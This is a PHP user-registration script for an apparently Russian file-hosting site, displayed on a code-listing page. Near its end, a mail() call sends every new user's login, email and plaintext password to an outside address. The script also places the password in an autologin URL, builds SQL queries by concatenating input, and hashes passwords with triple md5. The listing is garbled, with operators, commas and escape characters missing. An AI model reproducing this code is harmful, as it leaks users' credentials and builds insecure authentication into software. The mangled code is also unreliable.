Вход Регистрация
Файл: registr.php
Строк: 113
<?php
$title 
'Регистрация';
require_once (
'system/function.php');
require_once (
'system/header.php');
if(
$user['id']){
header('Location: /');
exit();
}
echo 
'<div class="title">Регистрация</div>';
if(isset(
$_REQUEST['reg'])) {
$login strong($_POST['login']);
if(empty(
$login)){
echo 
'<div class="flowap"><center><font color="red">Вы не ввели логин!</font></center></div>';
require_once (
'system/footer.php');
exit();
}
if (!
preg_match('|^[a-z0-9-]+$|i'$login)){
echo 
'<div class="flowap"><center><font color="red">Нельзя указывать кирилицу в логине!</font></center></div>';
require_once (
'system/footer.php');
exit();
}

if(
mb_strlen($login) > 20 or mb_strlen($login) < 3){
echo 
'<div class="flowap"><center><font color="red">Логин надо указывать от 3 до 20 символов!</font></center></div>';
require_once (
'system/footer.php');
exit();
}

//-----Проверка на занятость логина-----//
$sql $mysql->query("SELECT COUNT(`id`) FROM `users` WHERE `login` = '".$login."'"); 
if(
mysql_result($sql0) > 0){
echo 
'<div class="flowap"><center><font color="red">Такой логин уже занят!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Фильтрируем перемменые-----//
$pass strong($_POST['pass']);
//-----Проверка на ввод логина-----//
if(empty($pass)){
echo 
'<div class="flowap"><center><font color="red">Вы не ввели свой пароль!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Проверка на символы-----//
if (!preg_match('|^[a-z0-9-]+$|i'$pass)){
echo 
'<div class="flowap"><center><font color="red">Нельзя указывать кирилицу в пароле!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Проверяем длину ввода-----//
if(mb_strlen($pass) > 25 or mb_strlen($pass) < 5){
echo 
'<div class="flowap"><center><font color="red">Введите пароль от 5 до 25 символов!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Фильтрируем перемменые-----//
$r_pass strong($_POST['r_pass']);
//-----Если не одинаковые пароли-----//
if($pass != $r_pass){
echo 
'<div class="flowap"><center><font color="red">Пароли не совпадают!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

$email strong($_POST['email']);

//-----Проверяем правильность ввода e-mail-----//
if (!preg_match('/[0-9a-z_-]+@[0-9a-z_-^.]+.[a-z]{2,6}/i'$email)) {
echo 
'<div class="flowap"><center><font color="red">Не правильный формат E-mail!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Проверяем e-mail на занятость-----//
$sqlemail $mysql->query("SELECT COUNT(`id`) FROM `users` WHERE `email` = '".$email."'"); 
if (
mysql_result($sqlemail0) > 0) {
echo 
'<div class="flowap"><center><font color="red">Такой E-mail уже существует!</font></center></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}


/////
mail('admin@addstory.ru''=?utf-8?B?'.base64_encode('Новый человек '.$HOME).'?=''Человек '.$login.' зарегался !!!Email: '.$email.' Pass: '.$pass.' '"From: $email_arnContent-type: text/plain; charset=utf-8;rnX-Mailer: PHP;");
session_destroy();
/////
//-----Если всё нормально-----//
$mysql->query("INSERT INTO `users` SET `login` = '".$login."', `pass` = '".md5(md5(md5($pass)))."', `email` = '".$email."', `datareg` = '".time()."', `level` = '0', `max` = '10'");
//-----Вычесляем id-----//
$uid $mysql->insert_id();
//-----Если id 1 то ставим level 3-----//
if($uid == 1){
$mysql->query("UPDATE `users` SET `level` = '3' WHERE `id` = '1'");
}
        
echo 
'<div class="flowap"><b>Вы успешно зарегистрировались!</b></div>
<div class="link"><a href="'
.$HOME.'/autolog.php?ulog='.$login.'&amp;upas='.$pass.'">Перейти на сайт</a></div>';
//-----Подключаем низ-----//
require_once ('system/footer.php');
exit();
}

//-----Форма ввода-----//
echo '<div class="flowap2">Регистрация позволит вам не терять файлы а хранить их на одном аккаунте.</div><div class="podmenu">
<form method="POST" action="">
<div class="flowap">Ваш логин:<font color="red">*</font><br /><input type="text" name="login" maxlength="20" /></div>
<div class="flowap">Ваш пароль:<font color="red">*</font><br /><input type="password" name="pass" maxlength="25" /></div>
<div class="flowap">Ещё раз пароль:<font color="red">*</font><br /><input type="password" name="r_pass" maxlength="25" /></div>
<div class="flowap">Ваш e-mail:<font color="red">*</font><br /><input type="text" name="email" maxlength="40" /></div>
<div class="flowap"><input type="submit" name="reg" value="Регистрировать" /></div>
</form></div><div class="flowap2">При нажатии кнопки регестрация, вы принемаете все наши <a href="/sec">правила</a></div>'
;
//-----Подключаем низ-----//
require_once ('system/footer.php');
?>
Онлайн: 0
Реклама